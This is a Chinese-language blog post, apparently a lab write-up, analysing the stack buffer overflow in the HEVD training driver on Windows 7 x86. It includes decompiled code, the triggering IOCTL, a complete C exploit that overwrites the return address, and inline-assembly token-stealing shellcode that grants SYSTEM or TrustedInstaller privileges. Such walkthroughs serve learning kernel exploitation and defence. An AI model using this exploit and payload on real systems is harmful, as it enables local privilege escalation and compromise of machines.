Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞分析丨HEVD-0x1.StackOverflow[win7x86]

漏洞分析丨HEVD-0x1.StackOverflow[win7x86]

原创
作者头像
极安御信安全研究院
发布于 2022-06-30 06:01:03
发布于 2022-06-30 06:01:03
5930
举报

前言

窥探Ring0漏洞世界第一课:缓冲区溢出

实验环境:

虚拟机Windows 7 x86

•物理机:Windows 10 x64

•软件:IDA,Windbg,VS2022

漏洞分析

该环境提供了各种内核漏洞场景供学习,本次实验内容是BufferOverflowStack

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowStackIoctlHandler和TriggerBufferOverflowStack,前者是分发程序,后者是漏洞程序

IDAF5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size) { unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h] memset(KernelBuffer, 0, sizeof(KernelBuffer)); ms_exc.registration.TryLevel = 0; ProbeForRead(UserBuffer, 0x800u, 1u); // 检查用户缓冲区是否可读 _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer); _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size); _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer); _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800u); _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n"); memcpy(KernelBuffer, UserBuffer, Size); // 经典缓冲区溢出 return 0; }

接下来看看要如何进入这个漏洞函数,利用IDA的交叉引用功能,可以看到是BufferOverflowStackIoctlHandler函数:

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp) { int v2; // ecx _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx v2 = -1073741823; Parameters = IrpSp->Parameters.CreatePipe.Parameters; if ( Parameters ) return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options); return v2; }

这里使用的是IRP传参,也就是说驱动是使用IO通信的,接着使用交叉引用向上找,找到通信的地方,找到进入这里用的控制码:

看这个分支结构,和这明显的jumptable标识,这是一个跳转表,这是switch-case结构,这里应该就是通过控制码进行跳转:

PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near ; DATA XREF: DriverEntry(x,x)+8A↓o PAGE:00444064 PAGE:00444064 DeviceObject= dword ptr 8 PAGE:00444064 Irp= dword ptr 0Ch PAGE:00444064 PAGE:00444064 55 push ebp PAGE:00444065 8B EC mov ebp, esp PAGE:00444067 53 push ebx PAGE:00444068 56 push esi PAGE:00444069 57 push edi PAGE:0044406A 8B 7D 0C mov edi, [ebp+Irp] PAGE:0044406D BB BB 00 00 C0 mov ebx, 0C00000BBh PAGE:00444072 8B 47 60 mov eax, [edi+60h] ; IrpStack PAGE:00444075 85 C0 test eax, eax PAGE:00444077 0F 84 6D 04 00 00 jz loc_4444EA PAGE:00444077 PAGE:0044407D 8B D8 mov ebx, eax PAGE:0044407F 8B 4B 0C mov ecx, [ebx+0Ch] ; IoControlCode PAGE:00444082 8D 81 FD DF DD FF lea eax, [ecx-222003h] ; switch 113 cases PAGE:00444088 83 F8 70 cmp eax, 70h 大于0x70就跳转 PAGE:0044408B 0F 87 41 04 00 00 ja $LN34 ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526,2236528-2236530 PAGE:0044408B PAGE:00444091 0F B6 80 7C 45 44 00 movzx eax, ds:byte_44457C[eax] 根据eax索引取地址索引 PAGE:00444098 FF 24 85 04 45 44 00 jmp ds:jpt_444098[eax*4] ; switch jump PAGE:00444098 PAGE:0044409F ; --------------------------------------------------------------------------- PAGE:0044409F PAGE:0044409F $LN5: ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+34↑j PAGE:0044409F ; DATA XREF: IrpDeviceIoCtlHandler(x,x):jpt_444098↓o PAGE:0044409F 8B 35 04 20 40 00 mov esi, ds:__imp__DbgPrintEx ; jumptable 00444098 case 2236419 PAGE:004440A5 68 2E 6B 44 00 push offset aHevdIoctlBuffe ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"... PAGE:004440AA 6A 03 push 3 ; Level PAGE:004440AC 6A 4D push 4Dh ; 'M' ; ComponentId PAGE:004440AE FF D6 call esi ; __imp__DbgPrintEx PAGE:004440AE PAGE:004440B0 83 C4 0C add esp, 0Ch PAGE:004440B3 53 push ebx ; _IO_STACK_LOCATION * PAGE:004440B4 57 push edi ; _IRP * PAGE:004440B5 E8 EC 10 00 00 call _BufferOverflowStackIoctlHandler@8 ; BufferOverflowStackIoctlHandler(x,x) PAGE:004440B5 PAGE:004440BA 68 2E 6B 44 00 push offset aHevdIoctlBuffe ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"... PAGE:004440BA

可以看到,这里我们要找的函数位于跳转表的第一个,eax传入的值是0,让eax0,那么eax = 控制码ecx-222003h=0,控制码为0x222003

到此,知道如何调用到这个函数了,接下来写代码来进行利用

漏洞利用

首先填充传递一个刚好大小的buffer,查看栈的情况:

这里的memcpy复制的内容填充满可以填充到0x916aeab0,距离返回地址0x916aead4还有0x20+4个字节

再往缓冲区里填充20字节的随便字符,然后再填充4字节返回地址,这样就可以跳出到shellcode上了,这里没有gs保护,所以还是比较简单的

利用代码:(关于TokenStealingPayloadWin7函数在下文进行介绍)

#include #include int main() { ULONG UserBufferSize = 512 * sizeof(ULONG) + 0x20 + 4; PVOID EopPayload = &TokenStealingPayloadWin7; HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR]Open Device Error\r\n"); system("pause"); exit(1); } else { printf("[INFO]Device Handle: 0x%X\n", hDevice); } PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); if (!UserBuffer) { printf("[ERROR]Allocate ERROR"); system("pause"); exit(1); } else { printf("[INFO]Allocated Memory: 0x%p\n",UserBuffer); printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize); } RtlFillMemory(UserBuffer, UserBufferSize, 0x41); PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize) - sizeof(ULONG)); *(PULONG)MemoryAddress = (ULONG)EopPayload; //PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + 512) - sizeof(ULONG)); ULONG WriteRet = 0; DeviceIoControl(hDevice, 0x222003, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; system("pause"); system("cmd.exe"); return 0; }

因为需要管理员执行,这样提升到system权限好像看不出个啥,于是这里就修改了替换的token,提升到trustedinstaller权限

memcpy之后,可见返回地址变成了我们自己的地址:

执行结果:获得trustedinstaller权限

当进程结束后,如果是分配system进程的主令牌,则没事,如果是trustedInstaller则会系统奔溃,应该是进程结束后系统会对该进程的主令牌进行某种操作,后面再去了解具体情况!

exp 分析--TokenSteal

shellcode版exp见参考资料[4]:申请一个可执行的内存保存shellcode,然后设置返回地址到这个申请的内存上

进程的主令牌token位于EPROCESS结构中:

+0x0f8 Token : _EX_FAST_REF

只需要把其他进程EPROCESSToken替换到当前进行,当前进程使用的就是该进程的主令牌了,就会拥有该令牌的权限

该示例给出的官方EXP代码如下:

// Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { pushad 保存寄存器 ;开始令牌窃取流程 xor eax, eax 清空eax mov eax, fs: [eax + KTHREAD_OFFSET]  获取当前线程KTHREADnt!_KPCR.PcrbData.CurrentThread 内核态fs寄存器指向KPCR_KTHREAD is located at FS : [0x124] mov eax, [eax + EPROCESS_OFFSET] 获取当前线程EPROCESSnt!_KTHREAD.ApcState.Process mov ecx, eax 保存当前进程 _EPROCESS 结构地址 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 循环找到系统进程(PID=4)的EPROCESS结构 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] 获取进程链表的下一项 nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET 恢复到EPROCESS首地址 cmp[eax + PID_OFFSET], edx 对比PID是不是指定进程,nt!_EPROCESS.UniqueProcessId jne SearchSystemPID 不是就跳转 mov edx, [eax + TOKEN_OFFSET] 获取系统进程的tokennt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx 替换当前进程的tokennt!_EPROCESS.Token ;令牌窃取流程结束 popad 回复寄存器 ;内核恢复流程 xor eax, eax 设置返回值:0NTSTATUS_SUCCEESS add esp, 12 修复栈顶esp pop ebp 还原ebp ret 8 返回 } }

这里的最后几句很巧妙:

;内核恢复流程 xor eax, eax 设置返回值:0NTSTATUS_SUCCEESS add esp, 12 修复栈顶esp pop ebp 还原ebp ret 8 返回

这里清空了eax作为返回值,然后最巧妙的就是这个esp和ebp的修复了!

因为在R0程序不能奔溃,所以这个程序被劫持了执行流之后,还得还原回去,因为我们是通过覆盖返回地址劫持的,所以没法再从这个返回地址返回了

在劫持之前,函数返回的时候,把ebp给了esp,然后弹出ebp返回,这里的add esp 12实际上是把栈顶的位置放到了再上一层函数的栈顶,然后通过pop ebp恢复ebp到再上一层函数的位置,此时ebp的值就是返回地址,因为上层函数返回再上层函数会把esp往后走8个字节,所以这里就是ret 8(具体是怎么写出来的见下一篇的分析)

查看调用堆栈:

1: kd> k # ChildEBP RetAddr 00 8d6bfad0 00151040 HEVD!TriggerBufferOverflowStack+0xc4 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 116] WARNING: Frame IP not in any known module. Following frames may be wrong. 01 8d6bfae0 8ede60ba 0x151040 02 8d6bfafc 83e7c593 HEVD!IrpDeviceIoCtlHandler+0x56 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 278] 03 8d6bfb14 8407099f nt!IofCallDriver+0x63

函数实际原本的调用顺序是IrpDeviceIoCtlHandler->BufferOverflowStackIoctlHandler->TriggerBufferOverflowStack

现在的调用堆栈则变成了IrpDeviceIoCtlHandler->自己的函数->TriggerBufferOverflowStack

相当于我们把中间这个过程给跳过了!!!R0真是太神奇了!

参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] FuzzySecurity | Windows ExploitDev: Part 10 https://www.fuzzysecurity.com/tutorials/expDev/14.html

•[3] (1条消息) FS寄存器的作用_tanweng的博客-CSDN博客_fs寄存器 https://blog.csdn.net/tanweng/article/details/8929100

•[4] HSEVD-StackOverflow/HS-StackOverflow.c at master · Cn33liz/HSEVD-StackOverflow (github.com) https://github.com/Cn33liz/HSEVD-StackOverflow/blob/master/HS-StackOverflow/HS-StackOverflow.c

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)
极安御信安全研究院
2022/07/07
4230
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]
本次实验的是第三个样例,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200b,漏洞触发代码:
极安御信安全研究院
2022/07/07
4720
漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]
漏洞分析丨HEVD-10.TypeConfusing[win7x86]
老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码
极安御信安全研究院
2022/08/05
3080
漏洞分析丨HEVD-10.TypeConfusing[win7x86]
漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]
这也是个很有趣的漏洞类型,对象释放后没有清除对象指针,以至于可能在相同的位置出现假的对象,而让程序认为对象没有被释放是可用的状态,从而执行了假的对象行为。
极安御信安全研究院
2022/07/29
2610
漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]
漏洞分析丨HEVD-0x8.IntegerOverflow[win7x86]
本例中,整型溢出的问题出现在安全检验的地方,由于整型溢出导致错误的输入通过了安全检验,从而造成了栈溢出漏洞
极安御信安全研究院
2022/07/28
4390
漏洞分析丨HEVD-0x8.IntegerOverflow[win7x86]
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会拿出来执行的东西(回调函数啥的),那就是另一回事了
极安御信安全研究院
2022/07/21
4240
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
漏洞分析丨HEVD-0x4.PoolOverflow[win7x86]
本次实验内容是PoolOverflow,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200f,漏洞触发代码:
极安御信安全研究院
2022/07/15
4900
漏洞分析丨HEVD-0x4.PoolOverflow[win7x86]
初探栈溢出
treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。
红队蓝军
2022/07/06
8810
初探栈溢出
漏洞分析丨HEVD-0x5.NullPointerDereference[win7x86]
那么,空指针解引用,则就是把NULL页面地址的内容取出来,一般这么操作会报错0xC0000005内存访问违例,但是如果能控制NULL页面,则会使得对空指针解引用有一定的操作空间
极安御信安全研究院
2022/07/15
2780
漏洞分析丨HEVD-0x5.NullPointerDereference[win7x86]
漏洞分析丨HEVD-11.DoubleFetch[win7x86]
在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护,导致多重访问使得在一次操作中,操作的值在中间发生了变化。
极安御信安全研究院
2022/08/05
6100
漏洞分析丨HEVD-11.DoubleFetch[win7x86]
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
哪怕是类似原理的都用,在利用方式上也总能带来很多新鲜感,每次都有新的长见识,不断的感叹和震撼
极安御信安全研究院
2022/07/21
3870
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow 1.本文一共4556个字 20张图 预计阅读时间17分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是Windows Kernel Exploitation Notes系列文章的第一篇HEVD Stack Overflow4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 0
Gcow安全团队
2021/06/25
9450
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
windows kernel之HEVD栈溢出
首先使用osrload安装HEVD驱动,win10系统需要禁用驱动签名检测,然后成功安装后使用windbg下面的命令可以看到驱动已成功安装
鸿鹄实验室
2021/12/01
8450
windows kernel之HEVD栈溢出
Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续)
Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续) —Tmp81.exe文件的相关分析
obaby
2023/02/28
5070
Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
•物理机OS:Windows 10 20H2 x64•物理机WinDbg:10.0.19041.685•虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)•VMware:VMware Workstation 15 Pro•Visual Studio 2019
Gcow安全团队
2021/07/22
6030
漏洞分析:HEVD-0x0.环境搭建[win7x86]
接下来打算花点时间去初探Ring0漏洞利用的世界,看看内核的世界,这里基于实验环境HEVD进行学习实验,主要内容是Ring0下的各种类型的漏洞的示例,以及针对各种漏洞的利用方法,基于最新的HEVD3.0进行实验,目录如下:
极安御信安全研究院
2022/06/30
2660
漏洞分析:HEVD-0x0.环境搭建[win7x86]
CVE-2016-0095从PoC到Exploit
利用Vmware进行双机调试 使用管理员模式运行cmd bcdedit /copy {current} /d “Windwos7[DEBUG]” 开启调试bcdedit /debug ON和bcdedit /bootdebug ON 在Vmware的设备管理添加一个串口\\.\pipe\com_1 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe 注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变
WeaponX
2018/07/11
1.2K0
暴力搜索内存进程对象反隐藏进程
我们前面说过几种隐藏进程的方法: 遍历进程活动链表(ActiveProcessLinks)
战神伽罗
2019/12/20
1.8K0
SEH学习
程序会出现错误,如果到处用if(!fun())这样的形式来侦错的话,代码不好维护。
全栈程序员站长
2022/11/15
6850
驱动开发:挂接SSDT内核钩子
SSDT 中文名称为系统服务描述符表,该表的作用是将Ring3应用层与Ring0内核层,两者的API函数连接起来,起到承上启下的作用,SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基址、服务函数个数等,SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行内核级的Hook,从而实现对一些核心的系统动作进行过滤、监控的目的,接下来将演示如何通过编写简单的驱动程序,来实现搜索 SSDT 函数的地址,并能够实现简单的内核 Hook 挂钩。
王 瑞
2022/12/20
9580
驱动开发:挂接SSDT内核钩子
相关推荐
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档